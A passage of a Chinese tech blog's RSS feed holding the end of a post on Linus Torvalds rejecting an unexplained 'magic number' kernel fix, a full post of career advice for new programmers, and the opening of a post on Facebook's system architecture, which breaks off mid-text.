\t\t\t&quot;Cannot allocate aperture memory hole (%lx,%uK)\\n&quot;,\n</pre>\n<p>看到这个fix，Linus Torvalds不高兴了，他回贴问道：</p>\n<ul>\n<li>为什么全都是Magic Numbers？</li>\n<li>为什么0x80000000就那么特殊？</li>\n<li>为什么我们这样改就行？</li>\n</ul>\n<p>还说了这样一句话——</p>\n<p><span id=\"more-4576\"></span></p>\n<blockquote><p>This kind of &#8220;I broke things, so now I will jiggle things randomly until they unbreak&#8221; is not acceptable. 这种“我把事搞砸了，就随意地调整直到事情又工作”的方式是不可接受的。</p></blockquote>\n<p>还说，这里即没有说明为什么我们fix在了正确的地方（也没有解释那些Magic Number是什么），也没有回滚那个有问题的patch。还说——</p>\n<blockquote><p>Don&#8217;t just make random changes. There really are only two acceptable models of development: &#8220;think and analyze&#8221; or &#8220;years and years of testing on thousands of machines&#8221;. Those two really do work.</p>\n<p>不要乱改。那里只有两个可行的开发模式：“思考和分析” 或是 “数年数年地不断地在几千台机器上测试”。这两个方式才是真正可行的。</p></blockquote>\n<p>当然，Yinghai Lu对<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126154\" target=\"_blank\">其做了解释</a>，说我们的确调查过了，老的代码用的内存地址是0x80000000，新的则是用0xa0000000，而0xa0000000不工作。这又引发了 Linus Torvalds 的<a href=\"http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126216\" target=\"_blank\">不满的回贴</a>。Linus说——</p>\n<blockquote><p>Yinghai, we have had this discussion before, and dammit, you need to understand the difference between &#8220;understanding the problem&#8221; and &#8220;put in random values until it works on one machine&#8221;.</p>\n<p>Yinghai，我们以前谈过这个事，该死的，你真的需要明白“理解一个错误”和“设一个随意的值直到其正常工作”的区别。</p>\n<p>There was absolutely _<span style=\"text-decoration: underline;\">zero</span>_ analysis done. You do not actually understand WHY the numbers matter. You just look at two random numbers, and one works, the other does not. That&#8217;s not &#8220;analyzing&#8221;. That&#8217;s just &#8220;random number games&#8221;.</p>\n<p>这里就根本没有分析。你没有直正的明白<strong>为什么</strong>这些数字能行。你只看了两个随机的数，一个能行，另一个不行。这不是“分析”，这叫“随机数游戏”。</p>\n<p>If you cannot see and understand the difference between an actual analytical solution where you _<span style=\"text-decoration: underline;\">understand</span>_ what the code is doing and  why, and &#8220;random numbers that happen to work on one machine&#8221;, I don&#8217;t know what to tell you.</p>\n<p>一个解决方案真正经过分析了那段代码干什么的为什么的，另一个是“随机数字可以让其在一台机器上运转”，如果你不能看到和理解他们之间的不同，那我不知道要和你说什么了。</p></blockquote>\n<p>然后，Linus Torvalds进行了谆谆教导——（相当的受用啊）</p>\n<blockquote><p>Let me repeat my point one more time.</p>\n<p>让我再一次重复一下我的观点</p>\n<p>You have TWO choices. Not more, not less:</p>\n<p>你有两个选择，不多也不少：</p>\n<p>&#8211; choice #1: go back to the old allocation model. It&#8217;s tested. It doesn&#8217;t regress. Admittedly we may not know exactly _<span style=\"text-decoration: underline;\">why</span>_ it works, and it might not work on all machines, but it doesn&#8217;t cause regressions (ie the machines it doesn&#8217;t work on it _<span style=\"text-decoration: underline;\">never</span>_ worked on).</p>\n<p>&#8211; <strong>选择一</strong>：回滚到老的分配模式。那是测试过的。它过了回归测试。诚然，我们也许不知道<strong>为什么</strong>那样能行，并且，即使是那样也不一定能在所有的机器上工作，但是其没有让回归测试有问题（这个代码<strong>永不可能</strong>在不能运行的系统上运行）</p>\n<p>And this doesn&#8217;t mean &#8220;old value for that _<span style=\"text-decoration: underline;\">one</span>_ machine&#8221;. It means &#8220;old value for _<span style=\"text-decoration: underline;\">every</span>_ machine&#8221;. So it means we revert the whole bottom-down thing entirely. Not just &#8220;change one random number so that the totally different allocation pattern happens to give the same result on one particular machine&#8221;.</p>\n<p>这并不代表“老的值只能在一台机器上工作”。这代表“老的值可以工作在每一台机器上”。所以，我们需要回滚整个代码改动。而不只是“为了一个特别的机器去修改一个和以前完全不一样的随机数”。</p>\n<p>&#8211; Choice #2: understand exactly _<span style=\"text-decoration: underline;\">what</span>_ goes wrong, and fix it analytically (ie by _<span style=\"text-decoration: underline;\">understanding</span>_ the problem, and being able to solve it exactly, and in a way you can argue about without having to resort to &#8220;magic happens&#8221;).</p>\n<p>&#8211; 选择二：真正搞清楚为什么会错，并且有分析地修改他（理解问题才能真正解决之，并且，只有没有“魔法发生”的时候你才可以来争论）</p>\n<p>Now, the whole analytic approach (aka &#8220;computer sciency&#8221; approach), where you can actually think about the problem without having any pesky &#8220;reality&#8221; impact the solution is obviously the one we tend to prefer. Sadly, it&#8217;s seldom the one we can use in reality when it comes to things like resource allocation, since we end up starting off with often buggy approximations of what the actual hardware is all about (ie broken firmware tables).</p>\n<p>现在，整个分析方法（亦称作“计算机科学”的方法）应该是你可以在没有在外界干扰下真正思考这个问题而得到的解决方案，这很明显是我们推崇的。只有在极罕见地情况下我们可以在有外界干扰下分析这种资源分配的事，因为我们只有了解倒底是什么样的硬件，我们才能最终远离bug（如：错误的固件表）</p>\n<p>So I&#8217;d love to know exactly why one random number works, and why another one doesn&#8217;t. But as long as we do _<span style=\"text-decoration: underline;\">not</span>_ know the &#8220;Why&#8221; of it, we will have to revert.</p>\n<p>所以，我希望你能知道为什么一个随机数能行，而另一个不行。只要我们不知道，那么我们就不得和回滚整个改动。</p>\n<p>It really is that simple. It&#8217;s _<span style=\"text-decoration: underline;\">always</span>_ that simple.</p>\n<p>这真的是很简单，而且这<strong>一直</strong>是那么简单。</p>\n<p>So the numbers shouldn&#8217;t be &#8220;magic&#8221;, they should have real explanations. And in the absense of real explanation, the model that works is &#8220;this is what we&#8217;ve always done&#8221;. Including, very much, the whole allocation order. Not just one random number on one random machine.</p>\n<p>所以，那些数不应该是“magic”的，他们应该有真正的说明。在有真正的说明的情况下，我们的开发模式才会工作。其包括了整个分配顺序。不只是那个在任意机器上的随机数。</p>\n<p style=\"text-align: center;\">Linus</p>\n</blockquote>\n<p style=\"text-align: left;\">后面的事不用说了。我没有想到Linux 内核组会有像Yinghai这样工作的方式，毕竟这是一个黑客级的开发团队。我个人对这个乱写代码的人执零容忍的态度，不管你干过什么，不管你哪里毕业的，不管你简历怎么样，不求甚解随意写代码的人我无法接受。我不知道Yinghai Lu会怎么样想，他/她会像我在“<a title=\"程序员那些悲催的事儿\" href=\"https://coolshell.cn/articles/3980.html\" target=\"_blank\">程序员那些悲催的事儿</a>”中谈我经历那样知耻而后勇吗？能得到Linus的教导真是一件很不错的事。虽然，Linus教导的这些东西，都应该是程序员最最最基本的技能。<strong>fix bug一定要fix在root cause上啊</strong>，<strong>了解一个问题，不但要知其然，还要知其所以然啊</strong>，这都是老生长谈了。本站有很多提高程序员能力的文章，比如，<a title=\"优秀程序员的十个习惯\" href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\">这篇</a>，<a title=\"优质代码的十诫\" href=\"https://coolshell.cn/articles/1007.html\" target=\"_blank\">这篇</a>，还有<a title=\"五个方法成为更好的程序员\" href=\"https://coolshell.cn/articles/2606.html\" target=\"_blank\">这篇</a>。</p>\n<p style=\"text-align: left;\">各位朋友，我真心希望你能从这个小插曲中明白点什么。</p>\n<p style=\"text-align: left;\"><strong>&#8212;&#8211; 更新2011/04/27</strong>&#8212;&#8211;</p>\n<p style=\"text-align: left;\">从本贴的回复中可以看到有朋友说如果时间紧，没有办法只能在不求甚解的地去fix bug，因为老板催。我认为这是老板的“急功近利”的问题。我想和大家说一下，你得想清楚你属于下面那种人：</p>\n<ol>\n<li>\n<div style=\"text-align: left;\">你的老板给你压力，让你不得不乱fix，</div>\n</li>\n<li>\n<div style=\"text-align: left;\">你认同只要时间紧bug是可以乱fix的。</div>\n</li>\n</ol>\n<p style=\"text-align: left;\">如果你属于1），那我觉得还情由可原，这是管理问题。但这不能成为你对乱fix bug的理由。一般这种问题怎么解决：<strong>首先，给一个hot fix去救火，然后，有时间去调查root cause，最后经过分析和测试，给出一个final 的 offical fix</strong>。这就是应急的做法，根本不存在什么可以乱fix bug的做法。</p>\n<p style=\"text-align: left;\">如果你属于2），那么我只能“过激”地说你没有成为程序员的资质！</p>\n<p>另外，<strong>快速地fix bug，并不等于，不求甚解的fix bug</strong>。大家不要把这两件事等同。</p>\n<p style=\"text-align: left;\">&nbsp;</p>\n<p style=\"text-align: left;\"><span style=\"color: #cc0000; font-size: 14px;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4576.html\">Linux 2.6.39-rc3的一个插曲</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4576.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>118</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>对程序员职业的一些建议</title>\n\t\t<link>https://coolshell.cn/articles/4561.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4561.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 26 Apr 2011 05:29:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4561</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>自从四年前被CSDN采访后（“职业规化就像软件工程”），经常会有网友（尤其是刚毕业的）写邮件来问我一些程序员职业生涯的一些问题，至到今天。比如，国企还是外企的选...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4561.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4561.html\">对程序员职业的一些建议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>自从四年前被CSDN采访后（“<a title=\"职业规划就像软件工程\" href=\"http://blog.csdn.net/haoel/archive/2007/07/13/1688104.aspx\" target=\"_blank\">职业规化就像软件工程</a>”），经常会有网友（尤其是刚毕业的）写邮件来问我一些程序员职业生涯的一些问题，至到今天。比如，国企还是外企的选择，一直编程有没有前途等等问题。面对这样的邮件，我感到有很大的压力，因为如果我的回复很有可能会误人一生，但我另一方面又很想帮助这些人。所以，我基本上还是会尝试回一下这样的邮件。昨天，我又回了一封。但是我心里还是有点忐忑不安。害怕说错了什么。</p>\n<p>今天，我想把我的一些思路和建议写在这里，一方面供大家参考，另一方面也想听听大家对我的评判，这样不但对更多的人有帮助，同时对我自己也是一个帮助。</p>\n<p>下面是某网友前天给我发来的邮件：</p>\n<blockquote><p>我是一个刚刚毕业的大学生，我觉得自己对于程序员这个行业感到很迷惘，所以发邮件打扰您一下，麻烦了。</p>\n<p>我今年正在找工作，我现在有几家国企的offer，百度的offer还在等待，我觉得第一份工作对我来说很重要，因为第一份基本决定了近几年或者一辈子你在哪个行业发展。家里人都是希望我签国企，但是我自己对技术很感兴趣，一直希望能在技术上面走下去，签国企虽然很轻松但是我总觉得在技术上学不到什么有用的东西，所以我个人倾向是去百度。</p>\n<p>我现在很迷惘的是，如果我一直在程序员这个行业上走下去，以后的出路应该是什么呢？还是一直到高级工程师，还是项目管理这种程度吗？</p>\n<p>我现在听很多人在说程序员必需要转行，因为一辈子在编写代码，没有什么好的出路，对于这点，您有什么看法吗？我现在才刚刚从学校毕业，对IT这个行业也不是非常了解，但是我觉得自己自学能力很强，而且确实很想学些东西，你对于一个刚刚毕业的计算机学生有什么建议吗？</p></blockquote>\n<p>信件的内容我没有改变，我相信很多人都有相似的问题。我昨天给这们朋友回复了邮件，下面是我回复内容的一个整理。欢迎大家讨论。</p>\n<p>首先，我想说的是，<strong>这些东西只是我根据我的经历给出的建议，仅仅供大家去参考</strong>，<span style=\"color: #cc0000;\"><strong>你的路你的人生要你自己决定，不要轻易的让人帮你决定，那怕是你的家人</strong></span>。</p>\n<p>如果我们把所的问题一起谈，那怎么说也说不清楚，所以，请允许我“<a title=\"一些软件设计的原则\" href=\"https://coolshell.cn/articles/4535.html\" target=\"_blank\">关键点分离原则</a>”来分开说说。</p>\n<p><span id=\"more-4561\"></span></p>\n<h4>一、对技术的热情</h4>\n<p>如果我们喜爱编程，喜爱技术的话，那么，我们就会投入热情，自己会去专研很多东西。就像你以前对某个东西痴迷一样，你可以在工作之余还在学习和专研这些东西，你会经常和人讨论这些东西。不知道你是否会和我一样有一种感觉，如果你不学习技术，你不去专研，你就怕被淘汰，你就会感到不舒服。</p>\n<p>所以，我们一定要问我们自己一下，我们自己喜欢技术吗？喜欢技术到什么程度。只是感兴趣还是喜欢？这两个不一样。<strong>兴趣能让你开始让你执着，但只有喜爱才会投入热情，只有投入热情才可能会出成绩</strong>。这个问题你要问问自己。</p>\n<ol>\n<li>你有多大的热情在这个事业上？</li>\n<li>你对你自己的自我价值的实现的诉求有多大？</li>\n</ol>\n<p>如果你很有热情，可能到了有些痴迷的程度的话，比如，你会因为专研某个问题，学习某个东西，尝试某个东西，达到废寝忘食的程度，而且以些为乐，那么我非常建议你走技术的路线。</p>\n<h4>二、对技术的能力</h4>\n<p>有兴趣，有热情，并不代表你就一定行。你需要很清楚地认识到，你还需要有能力（我在《<a title=\"再谈“我是怎么招聘程序员的”（上）\" href=\"https://coolshell.cn/articles/4506.html\" target=\"_blank\">再谈“我是怎么招聘程序员”</a>》一文中说了程序员的四个事，操作技能，知识，经验，和能力，大家可以去看看我对“能力”的定义）。你需要反思和重审一下自己是否有能力，你的学习能力怎么样，是经常需要问人，还是可以自己专研？你的思路怎么样，是否能被有经验的人认可，还是能够影响别人？</p>\n<p><strong>兴趣和热情只能让你很执着，但并不一定能让你走好这条路，只有你的能力和你的强项才能让你走好这条路</strong>。希望大家能够清楚地认识到这其中的差别。</p>\n<p>所以，你一定要对自己做出一个判断，要学会反思，如果你是有能力的适合走技术路线的人，那以我非常建议你走技术路线。</p>\n<p>我也尝试创过业，但我觉得我这种人是“谋士”，不是能攻城拔寨的“将军”，创业更需要的是“将军”，我目前只能是一个辅佐他们的“谋士”，所以，我也只能尽力能成为一个级别高点的“谋士”。</p>\n<h4>三、再说说工作的事</h4>\n<p>我比较同意的&#8221;第一份基本决定了近几年或者一辈子你在哪个行业发展&#8221;，但又有一点点不是很同意。因为我毕业的时候，在银行混了两年，然后又去一个国企业呆了2年。所以，第一份工作并没有影响我的职业。但是，我必需承认——当我从银行出来的时候，我落后了，落后了还很多，我花了近5-6年的时候才把这个差距追了回来。</p>\n<p>所以，我有几个观点想告诉大家：</p>\n<p><strong> </strong></p>\n<ul>\n<li><span style=\"font-weight: normal;\">第一份工作并不决定你的人生</span><strong><span style=\"font-weight: normal;\">。因为你可以在2年内换工作。但是你头四年的做的事会对你的职业有影响。这里，我有两个案例分享一下。（我不用说太多了，相信大家自己能体会）</span></strong>\n<ul>\n<li>一个是我的同学70后，他以前是程序员，干了5/6年后不想干了，想转行，结果转不了，因为他的工作经历让他很难转行了，他问了一下自己是否愿意和那些刚毕业的80后拿一样的工作一起竞争，最后他自己都不愿意。后来，他去读了MBA，现在还做IT，现在做一些业务咨询方面的工作。不能算失败，但是时间浪费了。</li>\n<li>还有一个是我的同事，她CS专业毕业想做程序员，但最后为了进一个好的公司只能做QA，现在4年多了，她很想很想做dev，但是却抱怨工作没有给她这样的机会，4年多的QA经验让她很难成为Dev了。我从她做QA一年的时候就在和她说，如果你想做Dev，你就要有技术储备，多和dev在一起工作，QA又怎么样，如果我能读Dev的代码，我总有一天会成为Dev的。事实证明，她对技术并没有太多热情。现在也只能得过且过了。</li>\n</ul>\n</li>\n</ul>\n<ul>\n<li>如果你觉得自己在技术有自信有热情，而且已经有一些成绩了，我强烈建议你去IT公司中锻炼，越尊重技术的的IT公司越好。就像打球一样，只有和比你厉害的人一起玩，你才会得提高。</li>\n</ul>\n<ul>\n<li>如果你对技术的热情一般，也没有太多的自我价值的追求，也不想拼搏，而且对吃大锅饭不反感，对没有激情的工作不反感的话，那么，你应该去事业单位，当个公务员，走走常规则的人生，养养老也不错。这里，我多说一句，根据中国的现在国情来看，如果你有自我价值的诉求，你要去大城市，去好的公司，走体制外的路线，如果你又不想来大城市 ，只想呆在地方的话，那么，我个人非常建议你走体制内的路线，在地方，只有体制内的路线是最好的。</li>\n</ul>\n<ul>\n<li>千万别去一些没有前途的小公司（要去小公司你得看看这个公司的人和业务），很多不起眼的小公司现在都变大了，能和一个公司一起成长是相当难得的（我现在就特别想要这方面的经历），现在这个社会，与其去那些很难成长为大公司的小的很不规范的公司，还不如自己创业。（<strong>更新2011/4/26</strong>：<a href=\"#comment-48180\">@islet8  </a>  回复中的观点可能比我的更好——“我觉得第一份工作能尽量进大公司的确是有好处的，能够帮你建立起一套规范的、成熟的工作习惯了思维方式，经过一两年（在激情还没被磨灭之前）再挑一个靠谱的、能赌上自己前途的小公司（比如同事朋友等推荐过去的或是他们联合创立的）一起成长一遍，无论公司的成败，对个人来说，那都是成功了”）</li>\n</ul>\n<h4>四，技术可以做多长</h4>\n<p>在这里，我用我自己经历做个例子，我在软件编程上有14年了（加上大学里的项目就有16年了），虽然我今天是经理了，但是我还是喜欢编程。我以前也听到过别人说的——做技术太辛苦，没前途。我并不这样觉得，因为我觉得技术是实实在在的东西，很实在，这让我很踏实，踏实的感觉得好。因为，</p>\n<ul>\n<li>我个人觉得真正的稳定是，今天我离开 这个公司，我明天就能找到相应的工作。</li>\n<li>如果我的工作不成问题了，那么我就可以从谋生上升到事业的层次来。</li>\n<li>只有到了事业这个层次，我才能有所建树。</li>\n</ul>\n<p>另外，我觉得说出来的那些话的人要么就是“小猫钓鱼”的那些人，要么就是短视的人，你可以问问他们，哪个非技术的行业有前途，然后你去问问从事那个行业的人怎么样看？我15年来都在编程，虽然走了一些弯路，但是我很感谢那些中途退缩者，是他们让我这15年变得更有价值。15年从事同一个件事，这让我很有竞争力。有了竞争力，我的工作才不会是一个问题，我才能上升上事业的层次上来。</p>\n<p>当然，如果你发现你不适合，你无法坚持，那么我建议你还是想清楚，别的行业你能坚持吗？<strong>我们不害怕转行，害怕的是自己对自己缺乏认识，害怕的是小猫钓鱼，害怕的是一山望比一山高</strong>。</p>\n<h4>五，待遇和职位</h4>\n<p>比如你的职位，薪水，福利，等，我从来都不是很关心这些东西，这些都是次要的（其次重要的），最重要的是你的能力和经历，是那些可以写在你简历上的，让你引以自豪的经历和能力。（一定要自己引以自豪）。<strong>而你的职位，薪水，只不过是你能力和经历的附属品</strong>。</p>\n<p>把自己对待遇和职位的那个目标放在心里，踏踏实实做好今天的事，炼好自己的内功，注重经验的积累和总结，等待一个能让你量变引发质变的机会，用你的能力抓住它不要放手，你会发现你的路就在前方，通往这条路的门不知不觉已经开了。功到自然成，水到渠成。</p>\n<p>以上是我的一些建议，不一定对，其可能因为我的个人经历有局限，还希望听道大家的讨论和指点。</p>\n<p><span style=\"color: #cc0000; font-size: 14px;\"><strong>（请勿用于商业用途，转载时请注明作者和出处）</strong></span><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4561.html\">对程序员职业的一些建议</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4561.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>121</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Facebook 的系统架构</title>\n\t\t<link>https://coolshell.cn/articles/4549.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/4549.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 25 Apr 2011 05:39:26 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Facebook]]></category>\n\t\t<category><![CDATA[StackExchange]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=4549</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>来源：http://www.quora.com/What-is-Facebooks-architecture （由Micha?l Figuière回答） 根据我...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/4549.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/4549.html\">Facebook 的系统架构</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>来源</strong>：<a title=\"What is Facebook's Architecture?\" href=\"http://www.quora.com/What-is-Facebooks-architecture\" target=\"_blank\">http://www.quora.com/What-is-Facebooks-architecture</a> （由<a href=\"http://www.quora.com/Micha%C3%ABl-Figui%C3%A8re\">Micha?l Figuière</a>回答）</p>\n<p>根据我现有的阅读和谈话，我所理解的今天Facebook的架构如下：</p>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>Web 前端是由 PHP 写的。Facebook 的 <a href=\" http://developers.facebook.com/blog/post/358\" target=\"_blank\">HipHop </a>[1] 会把PHP转成 C++ 并用 g++编译，这样就可以为模板和Web逻贺业务层提供高的性能。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>业务逻辑以Service的形式存在，其使用<a href=\"http://thrift.apache.org/\" target=\"_blank\">Thrift </a>[2]。这些Service根据需求的不同由PHP，C++或Java实现（也可以用到了其它的一些语言……）</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>用Java写的Services没有用到任何一个企业级的应用服务器，但用到了Facebook自己的定制的应用服务器。看上去好像是重新发明轮子，但是这些Services只被暴露给Thrift使用（绝大所数是这样），Tomcat太重量级了，即使是Jetty也可能太过了点，其附加值对Facebook所需要的没有意义。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>持久化由MySQL, <a href=\"http://memcached.org/\" target=\"_blank\">Memcached </a>[3], Facebook 的 <a href=\"http://cassandra.apache.org/\" target=\"_blank\">Cassandra </a>[4], Hadoop 的 <a href=\"http://hbase.apache.org/\" target=\"_blank\">HBase </a>[5] 完成。Memcached 使用了MySQL的内存Cache。Facebook 工程师承认他们的Cassandra 使用正在减少，因为他们更喜欢HBase，因为它的更简单的一致性模型，以到其MapReduce能力。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>离线处理使用Hadoop 和 Hive。</li>\n</ul>\n<ul style=\"margin: 5px 0px 0px 1.6em; padding: 0px; list-style-type: disc;\">\n<li>日志，点击，feeds数据使用<a href=\"https://github.com/facebook/scribe\" target=\"_blank\">Scribe </a>[6]，把其聚合并存在 HDFS，其使用<a 